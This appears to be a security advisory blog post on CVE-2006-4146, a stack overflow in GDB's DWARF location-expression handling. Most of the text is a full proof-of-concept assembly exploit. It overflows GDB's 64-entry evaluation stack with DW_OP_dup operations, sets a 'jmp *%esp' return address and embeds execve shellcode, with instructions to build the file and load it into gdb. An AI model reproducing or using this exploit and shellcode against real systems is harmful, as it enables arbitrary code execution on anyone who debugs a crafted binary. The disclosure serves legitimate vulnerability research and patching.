»Multiple vulnerabilities have been discovered in the GNU debugger that allow for the execution of arbitrary code.
Background
GDB is the GNU Project Debugger. It is described on its project page as allowing "you to see what is going on `inside' another program while it executes -- or what another program was doing at the moment it crashed." DWARF is a information format standard used to represent debugging information for a specific binary. While the first version was originally used in ELF, ELF later moved to STABS. In more recent years, DWARF version 2.0 has been reintroduced into ELF binaries. More information can be found at freestandards.org.Impact
A successful exploit would result in the execution of arbitrary code on the loading of a specially crafted executable. This a viable mechanism for an attacker to escape restricted environments by piggybacking exploit code on seeming harmless files often used for debugging. In the worst case, this could allow for privilege escalation.Workaround
Do not use GDB on untrusted files that may have DWARF(2) debugging information, e.g. binaries and core files. There is no way to verify if an untrusted file is safe to debug without investigating the debugging symbols manually.Discussion
There are multiple exploitable vulnerabilities in the DWARF and DWARF2 code. Initially, Tavis Ormandy, a colleague of mine, discovered a crash condition in GDB related to DWARF2 debugging information. This discovery led to the further exploration of the condition, and the discovery of these issues. The DWARF specification allows location description blocks containing a list of operations to be used to determine the final real address for some debugging symbol. GDB evaluates these operations on an unchecked stack buffer of size 64. This allows for any location block (DW_FORM_block) with more than 64 operations to overwrite the current stack frame with arbitrary user-supplied data. This behavior occurs in both dwarfread.c and dwarfread2.c.Patch
This has been patched in most major distributions already.Exploit
A simple proof of concept exploit is attached for Ubuntu Breezy (6.3-5ubuntu1.1). This has been proven against multiple other prepackaged and custom builds of gdb up to version 6.5. noteThis exploit was embargoed for over a year and a half.
gdb-6.3-5ubuntu1.1:
.file "test.c"
.section .debug_abbrev,"",@progbits
.Ldebug_abbrev0:
.section .debug_info,"",@progbits
.Ldebug_info0:
.section .debug_line,"",@progbits
.Ldebug_line0:
.text
.Ltext0:
.globl main
.type main, @function
main:
.LFB2:
.file 1 "test.c"
.loc 1 3 0
pushl %ebp
.LCFI0:
movl %esp, %ebp
.LCFI1:
subl $8, %esp
.LCFI2:
andl $-16, %esp
movl $0, %eax
addl $15, %eax
addl $15, %eax
shrl $4, %eax
sall $4, %eax
subl %eax, %esp
.loc 1 3 0
movl $0, %eax
leave
ret
.LFE2:
.size main, .-main
.local some_int
.comm some_int,2,2
.section .debug_frame,"",@progbits
.Lframe0:
.long .LECIE0-.LSCIE0
.LSCIE0:
.long 0xffffffff
.byte 0x1
.string ""
.uleb128 0x1
.sleb128 -4
.byte 0x8
.byte 0xc
.uleb128 0x4
.uleb128 0x4
.byte 0x88
.uleb128 0x1
.align 4
.LECIE0:
.LSFDE0:
.long .LEFDE0-.LASFDE0
.LASFDE0:
.long .Lframe0
.long .LFB2
.long .LFE2-.LFB2
.byte 0x4
.long .LCFI0-.LFB2
.byte 0xe
.uleb128 0x8
.byte 0x85
.uleb128 0x2
.byte 0x4
.long .LCFI1-.LCFI0
.byte 0xd
.uleb128 0x5
.align 4
.LEFDE0:
.text
.Letext0:
.section .debug_info
.long 0x13c /* total length of section */
.value 0x2
.long .Ldebug_abbrev0
.byte 0x4
.uleb128 0x1
.long .Ldebug_line0
.long .Letext0
.long .Ltext0
.string "GNU C 4.0.3"
.byte 0x1
.string "test.c"
.string "/tmp"
.uleb128 0x2
.byte 0x1
.string "main"
.byte 0x1
.byte 0x3
.long 0x6b
.long .LFB2
.long .LFE2
.byte 0x1
.byte 0x55
.uleb128 0x3
.string "int"
.byte 0x4
.byte 0x5
.uleb128 0x4
.string "some_int"
.byte 0x1
.byte 0x1
.long 0x88
.byte 0xaf /* block length */
.byte 0x0c /* DW_OP_const4u */
.long 0x01020304 /* put in a marker to dup */
.rept 65
.byte 0x12 /* DW_OP_dup: stacki++ */
.endr
/* when built -O0, this is objfile. O2 let's us not worry */
.byte 0x0c /* DW_OP_const4u */
.long 0x99999999 /* clear markers */
.byte 0x0c /* DW_OP_const4u */
.long 0x88888888
.byte 0x0c /* DW_OP_const4u */
.long 0x77777777
.byte 0x0c /* DW_OP_const4u */
.long 0x666666
.byte 0x0c /* DW_OP_const4u: EIP */
.long 0x8239eef /* objdump -D gdb | grep 'jmp[ ]*\*%esp' */
/* classic alephone shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x895e2aeb /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x46c60876 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x46c70007 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x0000000c /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x000bb800 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0xf3890000 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x8d084e8d /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x80cd0c56 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x000001b8 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x0000bb00 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x80cd0000 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0xffffd1e8 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x69622fff /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x68732f6e /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x5dec8900 /* shellcode */
.byte 0x0c /* DW_OP_const4u */
.long 0x000000c3 /* shellcode */
/* end shellcode */
.uleb128 0x3
.string "short int"
.byte 0x2
.byte 0x5
.byte 0x0
.section .debug_abbrev
.uleb128 0x1
.uleb128 0x11
.byte 0x1
.uleb128 0x10
.uleb128 0x6
.uleb128 0x12
.uleb128 0x1
.uleb128 0x11
.uleb128 0x1
.uleb128 0x25
.uleb128 0x8
.uleb128 0x13
.uleb128 0xb
.uleb128 0x3
.uleb128 0x8
.uleb128 0x1b
.uleb128 0x8
.byte 0x0
.byte 0x0
.uleb128 0x2
.uleb128 0x2e
.byte 0x0
.uleb128 0x3f
.uleb128 0xc
.uleb128 0x3
.uleb128 0x8
.uleb128 0x3a
.uleb128 0xb
.uleb128 0x3b
.uleb128 0xb
.uleb128 0x49
.uleb128 0x13
.uleb128 0x11
.uleb128 0x1
.uleb128 0x12
.uleb128 0x1
.uleb128 0x40
.uleb128 0xa
.byte 0x0
.byte 0x0
.uleb128 0x3
.uleb128 0x24
.byte 0x0
.uleb128 0x3
.uleb128 0x8
.uleb128 0xb
.uleb128 0xb
.uleb128 0x3e
.uleb128 0xb
.byte 0x0
.byte 0x0
/* some_int's definition */
.uleb128 0x4 /* abbrev 4 */
.uleb128 0x34 /* DW_TAG_variable */
.byte 0x0 /* no children */
.uleb128 0x3 /* DW_AT_name */
.uleb128 0x8 /* DW_FORM_string */
.uleb128 0x3a /* DW_AT_decl_file */
.uleb128 0xb /* DW_FORM_data1 */
.uleb128 0x3b /* DW_AT_decl_line */
.uleb128 0xb /* DW_FORM_data2 */
.uleb128 0x49 /* DW_AT_type */
.uleb128 0x13 /* DW_FORM_ref4 */
.uleb128 0x2 /* DW_AT_location */
.uleb128 0xa /* DW_FORM_block1 (max size of 255 - should be enough) */
.byte 0x0
.byte 0x0
.byte 0x0
.section .debug_pubnames,"",@progbits
.long 0x17
.value 0x2
.long .Ldebug_info0
.long 0x96
.long 0x54
.string "main"
.long 0x0
.section .debug_aranges,"",@progbits
.long 0x1c
.value 0x2
.long .Ldebug_info0
.byte 0x4
.byte 0x0
.value 0x0
.value 0x0
.long .Ltext0
.long .Letext0-.Ltext0
.long 0x0
.long 0x0
.ident "GCC: (GNU) 4.0.3"
.section .note.GNU-stack,"",@progbits
Just build this with gcc and load into gdb.
References
- CVE-2006-4146
Post a Comment